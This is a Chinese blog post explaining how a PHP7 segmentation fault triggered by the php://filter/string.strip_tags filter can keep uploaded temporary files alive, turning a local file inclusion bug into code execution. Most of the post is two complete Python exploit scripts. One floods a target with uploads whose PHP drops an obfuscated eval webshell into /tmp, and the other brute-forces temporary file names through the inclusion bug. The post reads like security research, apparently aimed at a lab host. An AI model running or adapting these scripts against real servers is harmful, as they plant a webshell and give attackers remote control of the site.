美文网首页
LFI via SegmentFault

LFI via SegmentFault

作者: 王一航 | 来源:发表于2017-11-08 11:44 被阅读1997次

有一次不小心发现了一个 php7 的小 BUG

include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

可以导致 php 在执行过程中 Segment Fault
想到可以利用在本地文件包含漏洞中
之前在网上的分析文章中 , 本地文件包含漏洞可以让 php 包含自身从而导致死循环
然后 php 就会崩溃 , 如果请求中同时存在一个上传文件的请求的话 , 这个文件就会被保留


image.png

参考文章 :

https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf

https://github.com/bl4de/security_whitepapers/blob/master/PHP_LFI_rfc1867_temporary_files.pdf

写了一个利用脚本


#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import string
import itertools

charset = string.digits + string.letters

host = "192.168.43.155"
port = 80
base_url = "http://%s:%d" % (host, port)


def upload_file_to_include(url, file_content):
    files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
    try:
        response = requests.post(url, files=files)
    except Exception as e:
        print e


def generate_tmp_files():
    webshell_content = '<?php eval($_REQUEST[c]);?>'.encode(
        "base64").strip().encode("base64").strip().encode("base64").strip()
    file_content = '<?php if(file_put_contents("/tmp/ssh_session_HD89q2", base64_decode("%s"))){echo "flag";}?>' % (
        webshell_content)
    phpinfo_url = "%s/include.php?f=php://filter/string.strip_tags/resource=/etc/passwd" % (
        base_url)
    length = 6
    times = len(charset) ** (length / 2)
    for i in xrange(times):
        print "[+] %d / %d" % (i, times)
        upload_file_to_include(phpinfo_url, file_content)


def main():
    generate_tmp_files()


if __name__ == "__main__":
    main()
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import string

charset = string.digits + string.letters

host = "192.168.43.155"
port = 80
base_url = "http://%s:%d" % (host, port)


def brute_force_tmp_files():
    for i in charset:
        for j in charset:
            for k in charset:
                for l in charset:
                    for m in charset:
                        for n in charset:
                            filename = i + j + k + l + m + n
                            url = "%s/include.php?f=/tmp/php%s" % (
                                base_url, filename)
                            print url
                            try:
                                response = requests.get(url)
                                if 'flag' in response.content:
                                    print "[+] Include success!"
                                    return True
                            except Exception as e:
                                print e
    return False


def main():
    brute_force_tmp_files()


if __name__ == "__main__":
    main()

相关文章

  • LFI via SegmentFault

    有一次不小心发现了一个 php7 的小 BUG 可以导致 php 在执行过程中 Segment Fault想到可以...

  • 铁三选拔writeup

    web 这里什么都没有的签到 网页名是LFI,LFI是本地包含漏洞的缩写,先用伪协议看看index.php的源代码...

  • LFI漏洞

    这个画圈圈的语句是LFI的一个类似于公式的东西吗??? 要不要记下来?

  • Via Via

    午后的阳光照在额头,思绪纷乱。听音乐《安和桥》随笔 让我再看一次 古镇宝塔 像是胡彦斌的红颜 和着诀别诗 让我再听...

  • 【Tryhackme】Inclusion(LFI,socat提权

    服务发现 利用LFI查看/etc/passwd payload :http://10.10.161.161/art...

  • Via via(2016)

    很明显,今天不想打字日更。起初的Via via加个2016,以区分。 我想,总该记录些生命的苦涩与希望,只为偶尔还...

  • WEB 文件包含(分值150)

    点此进入南京邮电大学网络攻防训练平台 解题过程 LFI 本地文件包含乌云的那篇文章看不到了网上搜了一下其他的LFI...

  • PCB实战技巧-Pad跟Via

    一、Pad跟Via Via例子:

  • php phar LFI

    0x01. 什么是phar 如果你之前开发过Java程序,我相信你肯定知道Jar文件(Jar是Java ARchi...

  • ES2020有哪些值得关注的新特性?(翻译)

    原文地址:https://alligator.io/js/es2020/?luicode=10000011&lfi...

网友评论

      本文标题:LFI via SegmentFault

      本文链接:https://www.haomeiwen.com/subject/zmrpyxtx.html